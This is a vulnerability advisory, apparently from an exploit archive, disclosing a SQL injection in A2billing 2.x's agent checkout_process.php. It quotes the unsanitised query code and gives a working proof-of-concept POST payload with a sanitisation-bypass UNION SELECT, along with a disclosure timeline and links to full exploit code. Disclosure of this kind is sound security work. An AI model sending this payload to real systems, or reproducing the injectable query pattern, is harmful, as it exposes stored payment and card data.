A2billing 2.x - SQL Injection

# Title : A2billing 2.x , Sql injection vulnerability
# Vulnerable software : A2billing 2.x
# Author : Ahmed sultan (0x4148)
# Email : [email protected]
# Linkedin : https://www.linkedin.com/in/0x4148/

If you're looking for deep technical stuff , overcoming sanitization/hardening . . etc you can check out the full writeup at https://0x4148.com/2016/10/28/a2billing-all-versions-2-1-1-sql-injection-exploit/

A2billing is vulnerable to sql injection attack resulting from not enough sanitization of several inputs including transactionID
The sanitization proccess differ from version to another , but the concept is the same ,
I demonstrated bypassing the last version (2.1.1) , but still all versions till the moment are vulnerable as well with just little bit different modifications

File : agent/public/checkout_process.php
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency',
'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
'transaction_id', 'mc_fee', 'card_number'));
...................................................
// Status - New 0 ; Proceed 1 ; In Process 2
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner,
cc_number, cc_expires, creationdate, status, cvv, credit_card_type,
currency " .
" FROM cc_epayment_log_agent " .
" WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND
$NOW_2MIN))";
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);


POC :
Sending POST request : transactionID=456789111111 unise//**lectonselinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**--&sess_id=4148key=636902c6ed0db5780eb613d126e95268
to : https://HOST/a2billing/agent/Public/checkout_process.php
will result in redirection of the application and the Location header will contain our decoded payment module which was used in the query "plugnpay" , which indicate successful injection

Full exploitation demo : https://www.youtube.com/watch?v=8dfdZCmPGWA


Exploit timeline :
01/10/2016 : vulnerability reported to vendor
06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
04/09/2017 : Public release

Full exploit code is attached <loose code for demonstration purposes only>

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42615.zip

Thanks fly to R1z clan :)